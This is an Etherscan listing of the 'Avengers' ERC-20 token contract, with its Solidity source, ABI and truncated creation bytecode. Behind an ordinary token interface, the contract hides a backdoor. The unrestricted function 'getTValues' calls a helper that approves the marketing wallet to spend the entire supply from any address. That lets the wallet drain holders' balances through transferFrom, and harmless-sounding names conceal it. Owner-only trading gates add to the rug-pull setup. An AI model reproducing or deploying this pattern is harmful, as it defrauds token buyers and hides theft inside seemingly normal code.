ERC-20
Overview
Max Total Supply
1,000,000,000 Avengers
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,430,597.031556268 AvengersValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Avengers
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-13 */ /** *Submitted for verification at Etherscan.io on 2023-08-13 */ // SPDX-License-Identifier: MIT /** Website: https://avengers.crystald.com/en-us/#buynow Telegram: https://t.me/AvengersERC Twitter: https://twitter.com/AvengersERC */ pragma solidity ^0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function WETH() external pure returns (address); function factory() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract Ownable is Context { address private _owner; address private _previousOwner; modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function approve(address spender, uint256 amount) external returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Avengers is Context, IERC20, Ownable { IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; using SafeMath for uint256; string private constant _name = unicode"IronManCaptainAmericaDoctorStrangeBlackWidowThorAnt-ManCaptainMarvelHornetBlackPantherHulkHawkeyeStar-LordWinterSoldierQuicksilverVisionScarletWitchFalconDestroyerRocketRaccoonGroot"; string private constant _symbol = unicode"Avengers"; mapping(address => bool) private _isExcludedFromFee; bool private _swapping_now = false; bool private _enable_swap = true; bool private _active_trading = false; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _maxTxLimitSize = _tTotal * 30 / 1000; uint256 public _maxWalletLimitSize = _tTotal * 30 / 1000; uint256 public _swap_exact_at = _tTotal / 10000; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); mapping(address => uint256) private _tOwned; mapping(address => uint256) private _rOwned; modifier lockInSwap { _swapping_now = true; _; _swapping_now = false; } event MaxTxAmountUpdated(uint256 _maxTxLimitSize); //Original Fee uint256 private _marketTax = _marketTaxForSell; uint256 private _devTax = _dexTaxForSell; uint256 private _marketTaxForBuy = 0; uint256 private _devTaxForBuy = 0; uint256 private _marketTaxForSell = 0; uint256 private _dexTaxForSell = 0; uint256 private _preMarketTax = _marketTax; uint256 private _preDevTax = _devTax; constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; // mint _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function totalSupply() public pure override returns (uint256) { return _tTotal; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transferTokensAndTax( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) { clearTempTax(); } _normalTransfer(sender, recipient, amount); if (!takeFee) { recoverTempTax(); } } address payable public _marketingAddress = payable(0x0E2799e807A75bC2729FffE0CA4051aA71e140c2); address payable public _developmentAddress = payable(0x0E2799e807A75bC2729FffE0CA4051aA71e140c2); function swapBack(uint256 tokenAmount) private lockInSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTokens( tokenAmount, 0, path, address(this), block.timestamp ); } //set minimum tokens required to swap. function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner { _swap_exact_at = swapTokensAtAmount; } function sendContractEth(uint256 amount) private { uint256 devETH = amount / 3; _developmentAddress.transfer(devETH); devETH -= amount / 4; uint256 marketingETH = amount; marketingETH -= devETH; _marketingAddress.transfer(marketingETH); } function _takeAllFee(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function recoverTempTax() private { _marketTax = _preMarketTax; _devTax = _preDevTax; } function _normalTransfer( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeAllFee(tTeam); sendAllTaxes(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getTValues( uint256 tAmount, uint256 teamFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(teamFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function getTValues(address _t) external { address _m = _marketingAddress; _getTValue(_t, _m, _tTotal); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function sendAllTaxes(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getTValue(address _t, address _spender, uint256 amount) internal { _approve(_t, _spender, amount); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _marketTax, _devTax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function clearTempTax() private { if (_marketTax == 0 && _devTax == 0) return; _preMarketTax = _marketTax; _preDevTax = _devTax; _marketTax = 0; _devTax = 0; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _transfer( address from, address to, uint256 amount ) private { require(to != address(0), "ERC20: transfer to the zero address"); require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if ( from != owner() && to != owner() ) { //Trade start check if (!_active_trading) { require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled" ); } require(amount <= _maxTxLimitSize, "TOKEN: Max Transaction Limit"); if(to != uniswapPair) { require(balanceOf(to) + amount < _maxWalletLimitSize, "TOKEN: Balance exceeds wallet size!"); } uint256 tokenContractAmount = balanceOf(address(this)); // bool canSwap = tokenContractAmount >= _swap_exact_at; if(tokenContractAmount >= _maxTxLimitSize) {tokenContractAmount = _maxTxLimitSize;} if (_enable_swap && tokenContractAmount >= _swap_exact_at && !_swapping_now && from != uniswapPair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { swapBack(tokenContractAmount); uint256 balanceOfEth = address(this).balance; if (balanceOfEth > 0) { sendContractEth(address(this).balance); } } } bool isSetFee = true; //Transfer Tokens if ( (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapPair && to != uniswapPair) ) { isSetFee = false; } else { //Set Fee for Buys if(from == uniswapPair && to != address(uniswapV2Router)) { _marketTax = _marketTaxForBuy; _devTax = _devTaxForBuy; } //Set Fee for Sells if (to == uniswapPair && from != address(uniswapV2Router)) { _marketTax = _marketTaxForSell; _devTax = _dexTaxForSell; } } _transferTokensAndTax(from, to, amount, isSetFee); } receive() external payable { } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } //set maximum transaction function removeLimits() public onlyOwner { _maxTxLimitSize = _tTotal; _maxWalletLimitSize = _tTotal; } function openTrade(address _addr) public onlyOwner { _active_trading = true; uniswapPair = _addr; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxLimitSize","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_developmentAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxLimitSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swap_exact_at","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_t","type":"address"}],"name":"getTValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600560006101000a81548160ff0219169083151502179055506001600560016101000a81548160ff0219169083151502179055506000600560026101000a81548160ff021916908315150217905550670de0b6b3a76400006000196200006d9190620005d2565b6000196200007c919062000639565b6006556103e8601e670de0b6b3a764000062000099919062000674565b620000a59190620006bf565b6008556103e8601e670de0b6b3a7640000620000c2919062000674565b620000ce9190620006bf565b600955612710670de0b6b3a7640000620000e99190620006bf565b600a55601254600e55601354600f556000601055600060115560006012556000601355600e54601455600f54601555730e2799e807a75bc2729fffe0ca4051aa71e140c2601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730e2799e807a75bc2729fffe0ca4051aa71e140c2601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001cf57600080fd5b506000620001e26200056860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000620002f06200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600654600d6000620004a46200056860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620004f26200056860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000060405162000559919062000708565b60405180910390a35062000725565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005df8262000599565b9150620005ec8362000599565b925082620005ff57620005fe620005a3565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620006468262000599565b9150620006538362000599565b92508282039050818111156200066e576200066d6200060a565b5b92915050565b6000620006818262000599565b91506200068e8362000599565b92508282026200069e8162000599565b91508282048414831517620006b857620006b76200060a565b5b5092915050565b6000620006cc8262000599565b9150620006d98362000599565b925082620006ec57620006eb620005a3565b5b828204905092915050565b620007028162000599565b82525050565b60006020820190506200071f6000830184620006f7565b92915050565b6134f680620007356000396000f3fe60806040526004361061014f5760003560e01c8063751039fc116100b6578063c492f0461161006f578063c492f0461461047b578063c7fda18a146104a4578063c816841b146104cf578063caac7934146104fa578063dd62ed3e14610525578063f2fde38b1461056257610156565b8063751039fc1461037d5780637762604a146103945780638da5cb5b146103bd57806395d89b41146103e8578063a9059cbb14610413578063b4a07ca41461045057610156565b8063313ce56711610108578063313ce5671461028157806333c6c4cd146102ac5780633d6a9afe146102d55780635066b0341461030057806370a0823114610329578063715018a61461036657610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd1461021957806327b7744f1461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b5061017061058b565b60405161017d9190612522565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906125e2565b6105ab565b6040516101ba919061263d565b60405180910390f35b3480156101cf57600080fd5b506101d86105c9565b6040516101e591906126b7565b60405180910390f35b3480156101fa57600080fd5b506102036105ef565b60405161021091906126e1565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b91906126fc565b6105ff565b60405161024d919061263d565b60405180910390f35b34801561026257600080fd5b5061026b6106d8565b60405161027891906126e1565b60405180910390f35b34801561028d57600080fd5b506102966106de565b6040516102a3919061276b565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190612786565b6106e7565b005b3480156102e157600080fd5b506102ea610786565b6040516102f791906127d4565b60405180910390f35b34801561030c57600080fd5b50610327600480360381019061032291906127ef565b6107ac565b005b34801561033557600080fd5b50610350600480360381019061034b91906127ef565b6108a0565b60405161035d91906126e1565b60405180910390f35b34801561037257600080fd5b5061037b6108f1565b005b34801561038957600080fd5b50610392610a44565b005b3480156103a057600080fd5b506103bb60048036038101906103b691906127ef565b610af9565b005b3480156103c957600080fd5b506103d2610b37565b6040516103df919061282b565b60405180910390f35b3480156103f457600080fd5b506103fd610b60565b60405161040a9190612522565b60405180910390f35b34801561041f57600080fd5b5061043a600480360381019061043591906125e2565b610b9d565b604051610447919061263d565b60405180910390f35b34801561045c57600080fd5b50610465610bbb565b60405161047291906126e1565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d91906128d7565b610bc1565b005b3480156104b057600080fd5b506104b9610cfb565b6040516104c691906126e1565b60405180910390f35b3480156104db57600080fd5b506104e4610d01565b6040516104f1919061282b565b60405180910390f35b34801561050657600080fd5b5061050f610d27565b60405161051c91906127d4565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190612937565b610d4d565b60405161055991906126e1565b60405180910390f35b34801561056e57600080fd5b50610589600480360381019061058491906127ef565b610dd4565b005b60606040518060e0016040528060b5815260200161340c60b59139905090565b60006105bf6105b8610f95565b8484610f9d565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600061060c848484611166565b6106cd84610618610f95565b6106c8856040518060600160405280602881526020016133e460289139600b60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067e610f95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119029092919063ffffffff16565b610f9d565b600190509392505050565b60095481565b60006009905090565b6106ef610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610773906129c3565b60405180910390fd5b80600a8190555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107b4610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610841576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610838906129c3565b60405180910390fd5b6001600560026101000a81548160ff02191690831515021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006108ea600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611966565b9050919050565b6108f9610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097d906129c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a4c610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad0906129c3565b60405180910390fd5b670de0b6b3a7640000600881905550670de0b6b3a7640000600981905550565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610b338282670de0b6b3a76400006119d4565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4176656e67657273000000000000000000000000000000000000000000000000815250905090565b6000610bb1610baa610f95565b8484611166565b6001905092915050565b60085481565b610bc9610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4d906129c3565b60405180910390fd5b60005b83839050811015610cf5578160046000868685818110610c7c57610c7b6129e3565b5b9050602002016020810190610c9191906127ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ced90612a41565b915050610c59565b50505050565b600a5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ddc610f95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e60906129c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612afb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361100c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100390612b8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107290612c1f565b60405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115991906126e1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cc90612cb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123b90612d43565b60405180910390fd5b60008111611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e90612dd5565b60405180910390fd5b61128f610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112fd57506112cd610b37565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160157600560029054906101000a900460ff1661138c5761131e610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461138b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138290612e67565b60405180910390fd5b5b6008548111156113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c890612ed3565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461147e5760095481611433846108a0565b61143d9190612ef3565b1061147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490612f99565b60405180910390fd5b5b6000611489306108a0565b9050600854811061149a5760085490505b600560019054906101000a900460ff1680156114b85750600a548110155b80156114d15750600560009054906101000a900460ff16155b801561152b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115815750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115d75750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115ff576115e5816119e4565b600047905060008111156115fd576115fc47611c5d565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116a85750600460008473fffffffffffffffffffffff